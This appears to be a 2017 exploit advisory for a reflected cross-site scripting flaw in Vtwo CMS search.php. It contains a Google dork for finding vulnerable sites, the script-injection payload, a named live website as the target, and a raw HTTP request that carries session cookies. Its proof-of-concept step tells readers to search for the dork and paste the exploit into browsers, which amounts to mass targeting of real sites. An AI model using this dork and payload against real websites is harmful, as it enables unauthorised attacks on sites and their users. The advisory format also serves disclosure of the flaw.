[+] Exploit Title ; Vtwo cms Cross Site Scripting(Reflected) vulnerability [+] Date : 2017-11-12 [+] Author : 0p3n3r From IRANIAN ETHICAL HACKERS [+] Vendor Homepage : https://vtwo.org/ [+] Dork : intext:" طراحی و توسعه: گروه وی2" [+] Tested On : windows 10 - kali linux 2.0 [+] Contact : https://telegram.me/WebServer [+] Poc : [!] Search Dork on google and add exploit to Address bar [+] Vulnerability File: [!] search.php [+] Exploit : [!] "><<SCRIPT>alert("0P3N3R");//<</SCRIPT> [+] Target : [!] http://asasecurityco.ir/search.php?q=%D9%86%D9%85%D8%A7%DB%8C%D9%86%D8%AF%DA%AF%DB%8C+%D9%85%D8%B4%D9%87%D8%AF%22%3E%3C%3CSCRIPT%3Ealert(%22XSS%22);//%3C%3C/SCRIPT%3E&lang=fa [+] Request : GET /search.php?q=%D9%86%D9%85%D8%A7%DB%8C%D9%86%D8%AF%DA%AF%DB%8C+%D9%85%D8%B4%D9%87%D8%AF%22%3E%3C%3CSCRIPT%3Ealert(%22XSS%22);//%3C%3C/SCRIPT%3E&lang=fa HTTP/1.1 Host: asasecurityco.ir User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cookie: asa=915aca5b0d7b094907d9581b75e72259; _ga=GA1.2.1512658466.1510504626; _gid=GA1.2.918756670.1510504626 Connection: keep-alive Upgrade-Insecure-Requests: 1